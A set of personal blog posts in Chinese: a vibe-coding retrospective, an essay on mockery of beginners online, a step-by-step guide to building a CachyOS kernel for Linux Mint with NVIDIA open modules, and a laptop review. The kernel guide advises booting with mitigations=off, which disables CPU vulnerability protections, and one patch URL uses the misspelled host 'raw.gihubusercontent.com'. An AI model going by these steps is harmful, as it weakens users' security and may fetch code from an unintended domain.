想说的话#

路漫漫其修远兮，吾将上下而求索。

搭建这个博客网站的目的就是想在这里写写自己的心得，以及对互联网生活的记录，谈谈自己的感受。

但是我是一个不太善于表达的人，我写文章表达比较冗余，但只要最后能表达清楚就行了（（（

期待这个博客有朝一日能够成为一个有趣的地方，记录自己的生活，分享自己的感受，与大家交流。

结语#

最后，感谢大家的阅读，希望大家能够喜欢这个博客！

技术选型 & 前期准备#

个人感觉 Astro 还是太重了，在这个惜内存如金的时代软件运作还是越轻量越好，于是把目光投向了 Nuxt.js —— 一个使用 Vue3 的前端框架。相比 Next.js + React，Nuxt 的核心优势是 开发体验流畅，上手门槛低、部署灵活性高、中文文档和社区支持完善、默认 JavaScript 体积更小，的确是个博客地基的最佳选型。可惜的是我没看到有多少站点用了 Nuxt，站点框架基本成为 Astro / Hexo / Hugo 三国鼎立的天下了。所以这些想法要是实现了我也许可以当第一个使用 Nuxt 的 Blogger 以及模板维护者。

包管理与构建系统我使用 bun + vite，在速度上相比 npm / pnpm + vite 也有提升。

由于我不会自己搓 AGENTS.md，前期的准备也是叫 D 指导给我生成一份我自己复制到项目根目录了，对话链接在此👉博客模板 AGENTS 规范 。

Blog 主题的 Demo 样式图我使用 Canvas 设计网站自己搓了一个出来，如图所示:

DSH 我使用 NPX (NPM) 运行然后安装了亿些必备的插件后就动手用了

前面顺心后面艰难的 Vibe 过程#

我除了向 LLM 反馈小问题与 Bug 用短提示词外，其余提示词均使用如下形式:

1
第一行概括此轮任务的大致方向
2
第二 ~ N 行使用 "-" 符号分点列出任务 & 需求
3
如有必要最后一行列出注意事项与警告

编好提示词，扔出 Demo 效果图给 DS 后，它花了一刻钟就给我生成好了 Demo 页面，符合我的预期

注: 下面放的图是中后期的样子了，Demo 大致就是除掉下图中的搜索框、相册页等功能

接着，Demo 做出来后就开始疯狂加功能了: 从主题配色，到 CSS 样式调整；从文章合集功能的实现，到 Mermaid & PlantUML 图表渲染；从网页图片压缩算法实现，到网页内照片查看器功能实现……总之我曾经用的 Blog 主题有什么我就拿什么）。

上述我说的几轮任务开头几轮大肥鱼可以说它能轻松完成，效果达到预期。但是，到了后面逐渐力不从心，比如代码块主题样式、Mermaid/PlantUML 渲染主题与深色模式冲突导致可读性变差，花了两轮对话才修好；图表的放大预览功能花了三轮才完善……可以说越到后面就越是在修 Bug 缝缝补补的过程中越来越远，，，

大肥鱼在前 100M token 劲地发力很意外的让我爽翻，当时给我了 DS 完全可以秒杀前端开发的幻觉；总消耗量破了 200M token 它的短板就逐渐暴露出来。用一个很恰当的比喻就是: 这个模型有脑子，但看起来很像是个 ADHD (注意力缺陷多动障碍)。一个项目越做到后面，大肥鱼的注意力就越来越散，Vibe 起来就越举步维艰。即使加了很多优化上下文压缩的插件，即使我的用户提示词做的很系统性了，也救不了这个模型本身的缺陷。

你说我为什么不换成其他模型呢？我也有过这个考虑，但在 DSH 我自定义接入了一个模型平台的模型却不能正常触发对话，报 PI_AI_ERROR 或者 400 错误，我接入的是 AstraFlow 星图 模型平台 (绝不是打广告！！！)，至今为止只能推断是我代理软件配置问题或者是这个模型平台没有兼容 DSH，，， 再加上我属于钱少事多的学生群体，GPT 和 Claude 早属于我想用也用不起的范畴，Kimi-K3 与 GLM 5.3 也是超预算的一线模型咱也就有时候干瞪着流口水，要不是这样我也不会用小南梁梁圣出的性价比模型了）

最后，仅仅提交了几次 Git，项目就仓促上传到 GitHub 存档了，依旧投放 Slop 这一块，后续也没有意愿维护 (如果你想接手我乐意奉陪，但应该许多人都不会愿意吧））)

总结#

这次的 Vibe 过程不是很顺心的结束了。与以前我使用 Gemini CLI 白嫖 Gemini 3.1 Pro 进行 Vibe Coding 好几个月的经历 (详见此视频) 对比来看，现在的 Vibe 项目不单单只依靠“许愿”与所谓的基本工程素养撑起来了，还需要用户对模型 Agent 能力的把握与精准调教。但无论怎样，实际上 Vibe 这样的“实践”根本不可能从中获取到新知，宁愿拿这点钱去烧 Token 许愿Wish/Vow，不如让我抱着啃 Python 教程电子书有用。我现在难以理解哔站上那些动不动用 GPT 6 Astra，Claude Fable/Opus 5.5 这种烧钱大户的小登 UP 主，去 Vibe 一个超级屎山的意图与价值了，甚至他们的工程思维也许没有我的强 (笑)，如果后面闲得慌了我可能还会专门写长篇大论去锐评 (绷)。

若是从此开始的半年内我还没有在编程方面得到任何进步，我当场就把整个 Blog 站点吃了！ (bushi)

前提（全文基石，贯穿始终）#

小白表现: 态度友好（或客观中立）、态度诚恳、无任何人身攻击、仅仅是提出一个自己不懂的问题。

以下所有分析均建立在此前提之上。换言之，小白的言行已经满足了健康沟通的基本条件，不存在任何引发冲突的主观过错，任何指责小白的负面评价，都无法从“态度”上获得合理性。

前置核心概念: 循环依赖型信息差#

在信息学与社会学中，存在一种典型的 结构性信息壁垒:

你想学会 A，必须先理解 B；但想理解 B，又必须先看懂 A。而 A 和 B 指向的是同一个知识域 —— 你因为缺乏其中任意一块，导致两块都看不懂。搜索引擎只会给你堆砌更多 A 和 B 的术语，反而加深混乱。

这就是 “先有鸡还是先有蛋”的认知困境，也叫 默会知识的传递断层 —— 这种僵局无法通过搜索打破，因为搜索需要你已经掌握足够的关键词和判别力，而这些恰恰是你缺失的。唯一解是 一位已经跨过这道坎的人，用口语化方式帮你搭一座桥，即人肉教学。

行为链阶段一: 单扣“？”#

表现: 小白发出第一条疑问，大佬只回复一个“？”。

• 由来: 用极简符号制造压迫感，传递“你这问题不值一提”的符号，目的是让小白自我怀疑、主动退缩。这个“？”的含义已经发生了根本偏移 —— 它不再表示“我没听懂你的问题，请再解释一下”，而是表示“我不理解你怎么会问出这种问题，你这个人有问题”。 它是一种对提问者人格的隐性否定，潜台词是“你的存在正在污染我的视线”，轻则“你不配问”，重则“你低我一等”。
• 在前提下的不合理性: 小白无恶意，单问号不传递任何有用信息。在循环依赖僵局中，小白连“正确的问题”都问不出来，他需要的不是被质疑，而是有人帮他切开这个死结。当一个“？”被用来表达“你这个人下贱”时，它已经不是提问，而是 第一轮攻击。而攻击的对象，是一个态度友好、什么都没做错的人。

他本可以划走 —— 看到问题，觉得太简单，划走，结束。但他没有。他选择打出一个问号，扔出一句完全无效的符号，除了让小白更焦虑，什么都不提供。更准确地说，他提供的不是“？”这个符号本身，而是“？”背后那套“你这个人有问题”的审判。小白甚至还没得到任何解答。就已经被定罪了。

行为链阶段二: “必应？”/“不会搜索吗？”#

表现: 小白未退，大佬抛出“必应？”、“这都不会搜？”等短句。

• 由来: 社群“先搜索后提问”的潜规则，以及大佬将搜索能力视为基本门槛。
• 在前提下的不合理性: 对于循环依赖的知识，搜索本身就是无效的。你搜 A，出来全是 B 的术语；搜 B，又绕回 A 的定义。大佬的“必应？”默认了一个虚假前提: 所有知识都是线性可搜索的。而实际上，大量知识是网状且带有隐含前提的，只有跨过门槛的人才知道如何拆解。

他本可以划走 —— 觉得不该问，划走，结束。但他没有。他选择打出“必应？”，扔出一条在循环依赖下完全无效的建议。而这条建议除了让小白感觉自己被当成傻子，没有任何指导意义。

行为链阶段三: meme 式阴阳回复（“xxx: 你好”/“你是否在寻找: xxx”）#

表现: 模仿搜索引擎或命令行提示，用戏谑方式回应。

• 由来: 社群内部梗文化，用俏皮话包装鄙视，维持“高玩”人设。
• 在前提下的不合理性: 小白作为圈外人，根本看不懂这种格式，只会更困惑。这种回复既不提供拆解路径，也不给出有效搜索词，纯粹是 用幽默做外壳的排外仪式。

他本可以划走 —— 不想教，划走，结束。但他没有。他选择扔出一段小白根本看不懂的 meme。在礼貌提问面前，这已经接近于戏弄 —— 完全无效，甚至带着无端的轻蔑。而小白至今没有攻击过他。

行为链阶段四: 小白继续困惑 → 判定“没救了，重开吧”#

表现: 小白因看不懂或真的无法理解，继续追问，大佬直接扔出“重开吧”、“这不是人类能问出的问题”、“建议卸载”等。

• 由来: 耐心耗尽，认为小白“不可教化”，用游戏术语暗示对方智力或能力不配继续。
• 在前提下的不合理性: 小白的困惑，根源是循环依赖未打破，而大佬从未提供任何破局信息 —— 从单问号到 meme，全程都是干扰项。大佬自己制造了沟通障碍，却反过来指责对方“不配沟通”，属于归因倒置。

他本可以划走 —— 从一开始，每一步他都可以划走。但他没有。他一路跟到最后，扔出一句无端的人身攻击。而小白，从头到尾态度友好，从未攻击过他。至此，大佬的行为已经彻底脱离了“帮助”的范畴，变成了一场单方面的情绪排泄。而这一切，本可以始于一次划走，也本应止于一次划走。

完整行为链一览#

• 一、单扣“？”: 大佬回复一个问号，潜台词是“你人有问题，甚至下贱” → 小白困惑，试图理解自己是不是问错了 → 他本可以划走，却选择扔出无效符号，附带人格审判。

• 二、“必应？”: 大佬抛出“必应？”、“这都不会搜？”，潜台词是“你不配占用我时间” → 小白搜索无果，因为循环依赖根本搜不出来 → 他本可以划走，却选择扔出一条完全无效的建议。

• 三、meme式的阴阳回复: 大佬发出“xxx: 你好”或“你是否在寻找: xxx”，潜台词是“你蠢到我只想玩你” → 小白完全看不懂，更困惑 → 他本可以划走，却选择戏弄一个从未攻击过他的人。

• 四、“重开吧”人身攻击: 大佬扔出“重开吧”、“这不是人类能问出的问题”，潜台词是“你不配活着/不配存在” → 小白从头到尾礼貌，却被辱骂 → 他本可以划走，却选择无端人身攻击。

插叙: 小白的“刀叉困境”#

有一种现象，介于“纯小白”和“反串”之间，值得单独拿出来说。

场景回放: 一个新手在某个 QQ 群里问: “大佬，注册账号的时候那个‘电子邮箱’填什么？我把我家地址填上去了，怎么提示格式错误？”群友的反应可以预见: 一排问号 + “你是来搞笑的吧” + meme 图刷屏。

这类行为表面上看确实荒唐，但如果把视角拉到小白的认知世界里，就会发现这背后存在一种 认知框架错位: 小白犯的错不是逻辑错误，而是“映射错误” —— 他们接触到“电子邮箱”这个陌生词汇时，大脑会主动调用已有经验来“翻译”它，“邮箱”在现实世界中对应的是“收信的物理地址”，于是家庭住址成了最自然的候选答案。小白不知道“电子邮箱”是一套完全独立的数字系统，因为他们从未接触过“替代现实”的虚拟概念体系。

这就像一个 从未用过刀叉的人，第一次吃西餐时用叉子去叉汤喝。动作本身在旁观者看来荒谬，但行为者并没有恶意，只是 他们的大脑正在用旧世界的逻辑处理新世界的信号，而这个翻译过程在跨过某个临界点之前，必然会产生大量“翻译错误”。

小白的无奈: 他不知道“电子邮箱”是什么，但他知道自己“必须填一个东西才能继续”；他没有能力判断“填什么是对的”，只能凭直觉“翻译”；他以为自己在认真配合，结果填出来的答案在别人眼里像恶作剧，小白真正需要的，只是一句最基础的话: “电子邮箱不是你家地址，它是一个像手机号一样的网络地址，需要注册。” —— 就这一句话。 不复杂，不深奥，十秒钟就能说完。 然而在当下的社群生态里，愿意说出这句话的人，比愿意打出一串“？？？”的人少得多。 一句话就能结束的事，大家选择发十张 meme 图、扣十次问号、骂十句“智商呢”，也不肯把那不长不短的一句话完完整整打出来。不是不能说，是不想说。不是没时间，是觉得“不配”。

另一个侧面: 反串“装小白”与稻草人攻击。大量老鸟喜欢故意“反串”装小白，用极端离谱的问题来“钓鱼”或“整活”。动机未必是想让讨论环境变差，但客观上消耗了社群本就不多的“耐心配额” —— 每一次反串得逞，都在透支下一个真小白被认真对待的机会。同时，反串行为还为“稻草人攻击”提供了素材: 当社群中出现大量离谱提问，老鸟们会逐渐形成“现在的新人全是这种水平”的群体认知，并用这个被极端化的假靶子对所有新人进行无差别打击。即使你只是一个正常提问的新手，也可能被归入“那些连邮箱都不会填的人”的类别里，招致预设的嘲讽。反串者也许只是图一乐，但他们客观上为这把火添了柴。

小结: “电子邮箱填家庭住址”式的错误，折射出的是 真实小白与数字世界之间的认知断层，以及 反串者无意中加剧了社群对小白的不宽容。 两者叠加，使得中文互联网的求知环境陷入尴尬境地 —— 你无法分辨对方是真的需要帮助还是在逗你玩，而更糟的是，很多人已经放弃分辨，选择直接开骂。这恰恰呼应了核心判断: 无论小白的行为看起来有多荒唐，只要态度友好、没有恶意，大佬在每一个节点上仍然可以划走。 笑一笑、划走，零伤害；笑一笑、再骂一句，伤害就产生了。反串者的存在，并不能为这种“骂”提供正当性。

整体结论#

在“小白友好诚恳、无任何冒犯”的前提下，这一整条行为链的本质是:

大佬在每一个节点上都拥有一个成本为零、伤害为零的选择 —— 划走。但他每一次都选择了相反的方向: 扔出无效建议，甚至无端攻击。

这不是“教不会”的问题，也不是“小白太笨”的问题。这是一个拒绝帮助、却拒绝沉默的人，用一连串无效甚至有害的回应，把自己从“旁观者”变成了“加害者” —— 而从头到尾，小白只是礼貌地问了一个自己确实不会的问题。

一句话收束: 当一个人不愿意帮助时，沉默是体面；而大佬选择了不沉默，却什么都没给，只给了伤害。这就是整条行为链唯一的真相。

严肃总结: 中文互联网求知环境的劣性#

上述行为链并非个例，而是当前简中互联网求知环境中一种 普遍存在的结构性劣性。知识门槛被异化为身份壁垒，搜索万能论成为拒绝沟通的挡箭牌，嘲讽文化从手段变成了目的。当“划走”的沉默被污名化、攻击却被正当化时，一个礼貌提问的小白面对的是一条固定化流程: 冷暴力 → 无效建议 → 阴阳怪气 → 人身攻击。

知识本是火把，却有人用火把“烧人”，还说“自己这么蠢，烧是活该”。 如果有什么值得改变的，那就是重新把“划走”还给沉默，把“解答”还给善意，把“嘲讽”还给羞耻。可惜，在当下的中文互联网，这三者似乎都被颠倒了。

为什么我选择 CachyOS 内核？#

众所周知 CachyOS 内核带来了许多针对性能和安全的优化，但具体是哪些呢？

CachyOS 内核通过多种调度器和高级优化技术，为用户提供卓越的系统性能和灵活性。

准备环境#

给 Mint 自编译 CachyOS 内核的核心思想就是从 PKGBUILD 脚本中提取核心逻辑，转化为我们可理解的通用编译流程命令。

我使用的 CachyOS 内核源码版本为 7.1.1-2 ，默认 BORE 调度器，不同版本也许部分步骤会有所不同，请知悉。另源码仓库与补丁仓库在下方链接：

1
sudo apt update
2
sudo apt install build-essential bc bison flex libssl-dev libelf-dev libncurses-dev zlib1g-dev cpio wget tar xz-utils zstd python3 perl rustc cargo librust-bindgen-dev pahole dwarves

1
# 1. 新建专门用于存放源码与补丁的文件夹，方便管理（在 $HOME 目录下新建）
2
mkdir kernel-build && cd kernel-build/
3

4
# 2. 下载并解压内核源码
5
wget https://github.com/CachyOS/linux/releases/download/cachyos-7.1.1-2/cachyos-7.1.1-2.tar.gz
6
tar -xf cachyos-7.1.1-2.tar.gz
7
cd cachyos-7.1.1-2
8

9
# 3. 下载 CachyOS 默认配置文件
10
wget https://raw.githubusercontent.com/CachyOS/linux-cachyos/master/config -O .config
11

12
# 4. 下载并应用默认调度器补丁 (BORE)
13
wget https://raw.githubusercontent.com/cachyos/kernel-patches/master/7.1/sched/0001-bore-cachy.patch
14
patch -Np1 < 0001-bore-cachy.patch
15

16
# 5. 下载并应用 CJKTTY 补丁（让tty可显示中文等CJK字符）
17
wget https://raw.gihubusercontent.com/bigshans/cjktty-patches/master/v7.x/cjktty-7.1.patch
18
patch -Np1 < cjktty-7.1.patch

调整内核配置#

调整之前，让我们先使旧配置适配当前内核源码树。

1
make olddefconfig

由于 make menuconfig 优先级大于 scripts/config 脚本，会覆盖脚本保存的修改配置，所以先 menuconfig 微调一下喜欢的选项再使用脚本修改内核配置。

1
General setup  --->
2
    Preemption Model  --->
3
        (X) Preemptible Kernel (Low-Latency Desktop)

1
General setup  --->
2
    Timer frequency  --->
3
        (X) 1000 HZ    # 游戏推荐

1
Processor type and features  --->
2
    Transparent Hugepage support  --->
3
        (X) Always
4
    [*] Memory compaction
5
    [*] Page migration
6
    # 游戏性能提升明显

1
Networking support  --->
2
    Networking options  --->
3
        [*] TCP: advanced congestion control  --->
4
            (X) BBR v3    # 如果 7.0 menuconfig 有的话
5
        [*] Network packet filtering framework (Netfilter)

1
File systems  --->
2
    <*> XFS filesystem support
3
    [*]   XFS Quota support
4
    [*]   XFS POSIX ACL support
5
    [*]   XFS Realtime subvolume support
6
    [*]   XFS online repair support    # 7.0 新特性

1
# 关闭内核调试，不然会因为 image 过大无法启动
2
scripts/config -d CONFIG_DEBUG_INFO
3
scripts/config -d CONFIG_DEBUG_KERNEL
4

5
# 启用 BORE 调度器
6
scripts/config -e SCHED_BORE
7

8
# 启用 O3 编译优化 (PKGBUILD 中 _cc_harder=yes)
9
scripts/config -d CC_OPTIMIZE_FOR_PERFORMANCE -e CC_OPTIMIZE_FOR_PERFORMANCE_O3
10

11
# 设置 Tick Rate 为 1000Hz (PKGBUILD 中 _HZ_ticks=1000)
12
scripts/config -d HZ_300 -e HZ_1000 --set-val HZ 1000
13

14
# 设置 Transparent Hugepages 为 always (PKGBUILD 中 _hugepage=always)
15
scripts/config -d TRANSPARENT_HUGEPAGE_MADVISE -e TRANSPARENT_HUGEPAGE_ALWAYS
16

17
# 设置抢占模式为 full (PKGBUILD 中 _preempt=full)
18
scripts/config -e PREEMPT -d PREEMPT_LAZY
19

20
# 开启 x86_64-v3 微架构
21
scripts/config -d GENERIC_CPU
22
scripts/config -d GENERIC_CPU2
23
scripts/config -e GENERIC_CPU3
24
scripts/config -d GENERIC_CPU4
25
scripts/config -d NATIVE

1
# 验证所有修改
2
echo "=== 取消 DEBUG 调试 ==="
3
grep CONFIG_DEBUG_INFO
4
grep CONFIG_DEBUG_KERNEL
5
echo "=== CPU 架构 ==="
6
grep CONFIG_GENERIC_CPU .config
7
echo "=== BORE ==="
8
grep CONFIG_SCHED_BORE .config
9
echo "=== O3 ==="
10
grep CC_OPTIMIZE_FOR_PERFORMANCE .config
11
echo "=== HZ ==="
12
grep CONFIG_HZ .config
13
echo "=== THP ==="
14
grep TRANSPARENT_HUGEPAGE .config
15
echo "=== Preempt ==="
16
grep CONFIG_PREEMPT .config

编译内核与安装#

不同于其他发行版的make install， Debian/Ubuntu 系列使用 Deb 包安装内核且使用 dpkg 进行管理，我们可以用现代内核自带的 deb 打包目标，同时拉满 CPU 核心进行编译：

1
# 构建内核 Deb 包
2
make -j$(nproc) bindeb-pkg LOCALVERSION=-cachyos-bore-lto-{在这里可自定义你自己的后缀} KDEB_PKGVERSION=3
3

4
# 构建内核模块
5
make -j$(nproc) modules

等待编译完成生成 image，会自动打包成 deb 包供我们安装，日后也方便卸载。Deb 包会在上一级目录出现，编译完成后我们进行安装环节：

1
cd ~/kernel-build
2
sudo dpkg -i linux-headers-7.1.1-cachyos-bore-lto-{你自定义的后缀}_3_amd64.deb
3
sudo dpkg -i linux-image-7.1.1-cachyos-bore-lto-{你自定义的后缀}_3_amd64.deb

安装完成后，定位到内核源码目录，进行内核模块安装：

1
cd cachyos-7.1.1-2
2
sudo make modules_install

【重要】NVIDIA DKMS 模块#

1
cd ~/kernel-build
2

3
# 这里记得把版本号替换为你的驱动版本，以我的595.71版本为例
4
wget https://github.com/NVIDIA/open-gpu-kernel-modules/archive/refs/tags/595.71.05.tar.gz
5

6
# 解压并进入模块源码目录
7
tar -xf 595.71.05.tar.gz
8
cd open-gpu-kernel-modules-595.71.05
9

10
# 编译并安装
11
make -j$(nproc) modules IGNORE_CC_MISMATCH=yes SYSSRC=/lib/modules/$(uname -r)/build
12
sudo make modules_install IGNORE_CC_MISMATCH=yes SYSSRC=/lib/modules/$(uname -r)/build

1
# 1. 确认当前加载的是哪个模块
2
modinfo nvidia | grep filename
3

4
# 2. 删除之前 DKMS 编译的闭源模块（已废弃）
5
sudo rm -f /lib/modules/$(uname -r)/updates/dkms/nvidia*.ko*
6

7
# 3. 从 DKMS 中移除 7.1 内核的闭源模块记录（保留 6.14 和 6.17 的）
8
sudo dkms remove nvidia/595.71.05 -k 7.1.1-cachyos-bore-lto-{你的自定义后缀}
9

10
# 4. 更新模块依赖
11
sudo depmod -a
12

13
# 5. 验证 DKMS 状态（应该只剩旧内核的条目）
14
sudo dkms status

更新 Initramfs 与引导加载程序（关键）#

make install 在 Arch Linux 之外通常不会自动处理 Initramfs 的生成和 GRUB 引导菜单的更新。您必须根据您所使用的发行版手动执行以下操作（依旧以 Debian/Ubuntu 系列为例）：

1
# 获取刚安装的内核版本号
2
KERNEL_VER=$(cat include/config/kernel.release)
3
sudo update-initramfs -c -k $KERNEL_VER

接下来，编辑 GRUB 引导程序配置：

1
# 找到 GRUB_CMDLINE_LINUX_DEFAULT，添加以下参数：
2

3
GRUB_CMDLINE_LINUX_DEFAULT="... nvidia-drm.modeset=1 nowatchdog mitigations=off threadirqs loglevel=5..."
4

5
# 去掉 quiet splash     - 禁用对系统启动过程中内核输出的详细信息的抑制，禁用显示启动画面（通常为品牌或发行版LOGO的图形界面）
6
# nvidia-drm.modeset=1  - 启用 NVIDIA Wayland/DRM 支持
7
# nowatchdog            - 禁用看门狗，降低延迟
8
# mitigations=off       - 关闭 Spectre/Meltdown 缓解（性能提升，安全性略降）
9
# threadirqs            - 线程化 IRQ 处理
10
# loglevel=5            - 显示内核启动日志等级为 5

应用 GRUB 配置：

1
sudo update-grub
2
sudo reboot

验证环节#

打开终端，输入以下命令：

1
# 确认启动的是 CachyOS 内核
2
uname -r
3
# 期望输出类似：7.1.1-cachyos-bore-lto-{你的自定义后缀}
4

5
# 确认 NVIDIA 独显是否成功驱动
6
nvidia-smi
7
# 如果没有报错即为驱动安装成功
8

9
# 确认 BORE 调度器
10
dmesg | grep -i bore
11

12
# 确认 LTO 优化
13
cat /proc/version
14
# 应该包含你设置的 LOCALVERSION
15

16
# 确认构建选项是否与你刚刚操作的一致
17
echo "=== CPU 架构 ==="
18
grep CONFIG_GENERIC_CPU /boot/config-$(uname -r)
19
echo "=== BORE ==="
20
grep CONFIG_SCHED_BORE /boot/config-$(uname -r)
21
echo "=== O3 ==="
22
grep CC_OPTIMIZE_FOR_PERFORMANCE /boot/config-$(uname -r)
23
echo "=== HZ ==="
24
grep CONFIG_HZ /boot/config-$(uname -r)
25
echo "=== THP ==="
26
grep TRANSPARENT_HUGEPAGE /boot/config-$(uname -r)
27
echo "=== Preempt ==="
28
grep CONFIG_PREEMPT /boot/config-$(uname -r)

确认是否使用了 NVIDIA 开源驱动模块：

1
# 最准确的方式：查看模块文件路径和元数据
2
modinfo nvidia | grep -E "filename|version|description|author|license"
3

4
# 查看模块实际存放位置（判断来源）
5
find /lib/modules/$(uname -r) -name "nvidia.ko*" -exec ls -la {} \;
6

7
# 直接查看模块内字符串（开源模块会包含特定标识）
8
strings $(modinfo nvidia | grep filename | awk '{print $2}') | grep -i "open.*gpu\|nvidia.*open\|GPL" | head -5

Open 驱动判断依据：

如果你判断不了预期结果符不符合，可以参考我的输出：

1
lingxi@lingxi-Shadow-SH16-74:~$ uname -r
2
7.1.1-cachyos-bore-lto-lingxi9374
3
lingxi@lingxi-Shadow-SH16-74:~$ dmesg | grep -i bore
4
[    0.000000] Linux version 7.1.1-cachyos-bore-lto-lingxi9374 (lingxi@lingxi-Shadow-SH16-74) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #3 SMP PREEMPT_DYNAMIC Tue Jun 23 01:19:49 CST 2026
5
[    0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-7.1.1-cachyos-bore-lto-lingxi9374 root=UUID=3239xxxx-xxxx-xxxx-xxxx-xxxxxxxx2dab ro nvidia-drm.modeset=1 nowatchdog mitigations=off threadirqs loglevel=5
6
[    0.030901] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-7.1.1-cachyos-bore-lto-lingxi9374 root=UUID=3239xxxx-xxxx-xxxx-xxxx-xxxxxxxx2dab ro nvidia-drm.modeset=1 nowatchdog mitigations=off threadirqs loglevel=5
7
[    0.064552] BORE CPU Scheduler modification 6.6.3 by Masahito Suzuki
8
[    0.923421] usb usb1: Manufacturer: Linux 7.1.1-cachyos-bore-lto-lingxi9374 xhci-hcd
9
[    0.926580] usb usb2: Manufacturer: Linux 7.1.1-cachyos-bore-lto-lingxi9374 xhci-hcd
10
lingxi@lingxi-Shadow-SH16-74:~$ cat /proc/version
11
Linux version 7.1.1-cachyos-bore-lto-lingxi9374 (lingxi@lingxi-Shadow-SH16-74) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #3 SMP PREEMPT_DYNAMIC Tue Jun 23 01:19:49 CST 2026

后续维护备忘#

使用了自编译内核意味着维护成本也会增加，它不同于官方内核的自动化配置，一切后续更新维护都需要你的决策下才可进行。这里给出备忘列表，方便你我参考：

额外建议#

换内核后可以装个 gamemode 配合 CachyOS 内核的 BORE 调度器：

1
sudo apt install gamemode
2
# Steam 启动选项添加：gamemoderun %command%

以及启用 CPU 性能模式：

1
sudo apt install linux-cpupower
2
sudo cpupower frequency-set -g performance
3
# 或者在 CPU Power GUI 调整

总结#

如果一切结果正常，那么恭喜你，成功跟着我在 Linux Mint 制作并使用了自编译内核的同时保留了 NVIDIA 独显驱动！你的 Linux Mint 22.3 + Linux CachyOS BORE 7.1 Kernel + NVIDIA Open 模块 组合现在已经完全可用。BORE 调度器对游戏帧时间稳定性的改善应该能感觉得到，Enjoy！🎮

我为什么选择了「 宏碁暗影骑士 」？#

高考考完后的一天，我已经在噼里啪啦把很多评测视频都看一遍了，就没有我满意的机器。在此之前我也断断续续总结了我的避雷名单，来看看决赛圈还剩什么了：

1. 联想拯救者系列：无论是 2025 款 R/Y 7000/9000 P 还是 2026 款，价格都已经贵上天了（抢钱者、溢价者名不虚传），并且拯救者还有铝管散热、黑胶封装、低温焊锡、低分辨率低刷新率屏幕等雷点，综合给到拉完了
2. 华硕天选系列：去年因为华硕宣发太狠了我差点敲定 天选6 Pro 了，那个时候价格还算实惠（六千八软妹币那样），但今年听我好友说网上风评反转，天选6P的质量品控问题重重，同时价格也涨上来了。华硕作为一个一线品牌，让我有点不接受这个现状，只好排雷 虽然如此但天选Air 2025 想入手的可以再看看，这款目前网上风评印象中不差，价格用了国补也还行，但2026款的air就真的贵了）
3. 机械革命：众所周知网络上流传着“买了鸡哥你就学会修笔记本了”的笑话，买他家的笔记本无论是什么系列，一两年下来维修成本都够买新的一台了，花不起花不起）
4. 惠普暗影精灵系列：这个因为“黑屏精灵”（暗影精灵9）事件也是久仰大名了，虽然说后续产品修复了，但看这样的售后保障我也狠狠避雷了）
5. 微星神影系列：去年微星神影16“AI游戏本”才七千左右，那时候我对AI训练有点感兴趣也敲定一段时间蹲着，当时这个价位还能上5070，但现在来看已经翻到一万多了翻了不知道多少倍，根据家里的预算也已经被迫排除在外了qwq

一线二线品牌纷纷炸雷，我也只好把目光投向从未被知名评测UP提及的品牌：Acer 宏碁jī

“碁”通“棋”，在台湾有“qí”和“jī”两个读音，但大陆只有“qí”音，根据官方宣传视频的读音为“jī”，这里也沿用该读音

Acer 听起来虽然没那么大众，但它推出的性价比游戏本系列暗影骑士也是足够令人眼前一亮的，另一个游戏本系列掠夺者主打高端电竞旗舰，一般人没必要看。

类似联想拯救者以 Y/R 前缀区分 Intel/AMD CPU，宏碁暗影骑士用“擎”“龙”后缀区分 Intel/AMD CPU。618 之前几天我根据好友的推荐决定买暗影骑士龙7了CPU 是锐龙 7 260，7840马甲还在追我，国补六千八就能拿下，但由于其他群友与家人朋友的劝告，说 AMD 本做的很烂，不仅有积热问题还有 AMD 特有的鸡血 PBO、FTPM 影响性能^[1][2]以及笔记本容易睡死等问题……

最终只好挑了暗影骑士擎7标准版，它的硬件参数如下：

• CPU: 14th Gen Intel Core i7-14650HX，Intel 7 制程工艺，16 核心（8 大核 + 8 小核）24 线程
• GPU: NVIDIA RTX 5060 Laptop 8GB
• 内存: 金邦 DDR5 5600 MHz SO-DIMM 16 GB x1，有两个内存插槽(空闲预留一个)
• 硬盘: 长江存储 YMTC PC41Q 1TB M.2 PCIe 4.0*4，有两个M.2插槽(空闲预留一个)
• 屏幕: 16英寸 2.5K 240Hz sRGB
• 网卡: Intel Wi-Fi 7 BE200 （支持蓝牙 5.4） + Realtek 1000Mbps以太网口
• 电池与电源: 53 Wh 锂电池 + 180W 电源适配器
• 散热: 双风扇 + 五热管 + 四出风口
• 功耗: 整机理论最高 170W（CPU+GPU双烤）
• I/O 接口:
  • 左侧: 1×USB 3.2 Gen2 Type-A、3.5mm耳机/麦克风二合一
  • 右侧: 1×USB 3.2 Gen2 Type-A 和 1×USB 3.2 Type-C（支持PD充电）
  • 后侧: 1×HDMI 2.1、1×RJ45 网口、1×USB 3.2 Type-C、电源接口
• 机身规格:
  • 尺寸: 361×259×25mm
  • 厚度: 25 mm
  • 重量: 约 2.35kg
  • 外壳颜色； 黑色，金属质感外壳
• 音频与摄像: 内置扬声器、麦克风、Chicony USB 2.0 摄像头(720P清晰度)
• 其他: 全尺寸 RGB 背光键盘、全尺寸方向键、含独立小数字键盘与触摸板

除此之外，暗影骑士擎7还有擎7S和擎7Pro版本，关键区别如下：

此外，擎7Pro貌似还支持 Windows Hello 面部识别(?)，根据上面的表格，可以说我挑的擎7虽然相比7S和7P砍了很多配置，但总体性价比还是不错的。 (后面两版国补后要八九千到一万那样子)

购入后使用体验#

真实性能#

国补购机到货上门，我录着视频，等快递员拆封确认笔记本是全新的机器之后，我立刻小心搬到我房间里去开始验机，其中双烤环节最高功耗能跑到 145 W，符合日常游戏环节功耗，硬盘通电时间显示 0 小时以及通电次数在合理范围内。其他的测试这里不方便放出来，总之没有问题就是了）

游戏的话，我在 PC 上游玩三角洲开了几局烽火综合下来非常流畅，极少有掉帧情况出现 (有也是软件优化不好)

在 Minecraft Java 26.2 OpenGL 图形渲染器下我测试了几款不同的光影不知道为什么我去MC视频设置想切成Vulkan，但重启后不生效还是显示OpenGL，没办法了），确保 NVIDIA 控制面板调好了之后才开始测试，结果如下大部分没有Low帧是因为截图软件问题截不到了）:

• BSL Shaders V10 和 Bliss 光影 最高可达 108 FPS
• SEUS Renewed 最高可达 98 FPS
• Complementary Unbound 最高可达 84 FPS
